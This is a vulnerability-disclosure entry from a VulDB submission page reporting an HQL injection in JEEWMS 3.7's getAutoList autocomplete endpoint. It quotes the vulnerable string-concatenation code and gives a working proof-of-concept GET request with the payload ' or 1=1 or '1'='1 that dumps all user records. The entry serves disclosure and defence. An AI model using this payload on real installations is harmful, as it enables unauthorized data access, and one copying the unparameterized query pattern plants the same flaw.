| タイトル | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| 説明 | JEEWMS v3.7 commonController.getAutoList (自动补全/autocomplete interface) concatenates user-supplied parameters directly into an HQL query without parameterization, allowing authenticated attackers to alter query logic and enumerate arbitrary mapped-entity data.
Vulnerable code (CommonServiceImpl.getAutoList, line 387):
sb.append(" or " + searchField + " like '%" + autocomplete.getTrem() + "%' ");
String hql = "from " + autocomplete.getEntityName() + " where 1!=1 " + sb.toString();
The trem, searchField and entityName request parameters are all attacker-controlled (Spring binds the Autocomplete object directly from the request; trem is only URL-decoded, single quotes are NOT filtered). This is a first-order HQL injection.
Verified live: a request with trem=admin returns 1 user, while trem=' or 1=1 or '1'='1 returns all 5 users in the JSON "rows" array.
PoC:
GET /commonController.do?getAutoList&entityName=org.jeecgframework.web.system.pojo.base.TSUser&searchField=userName&labelField=userName&valueField=userName&trem=' or 1=1 or '1'='1&curPage=1&maxRows=10
-> response contains all 5 TSUser records (admin, 123, caiwu001, cangku001, yunying001)
GET /commonController.do?getAutoList&entityName=org.jeecgframework.web.system.pojo.base.TSUser&searchField=userName&labelField=userName&valueField=userName&trem=admin&curPage=1&maxRows=10
-> response contains only 1 record
Vulnerable code: src/main/java/org/jeecgframework/core/common/service/impl/CommonServiceImpl.java:387 |
|---|
| ソース | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| ユーザー | test996 (UID 101012) |
|---|
| 送信 | 2026年09月04日 11:58 (1 月 ago) |
|---|
| モデレーション | 2026年10月11日 10:07 (1 month later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 416561 [erzhongxmu JEEWMS 迄 2026.09.27-W39 Autocomplete CommonServiceImpl.java CommonServiceImpl.getAutoList trem/searchField/entityName SQLインジェクション] |
|---|
| ポイント | 20 |
|---|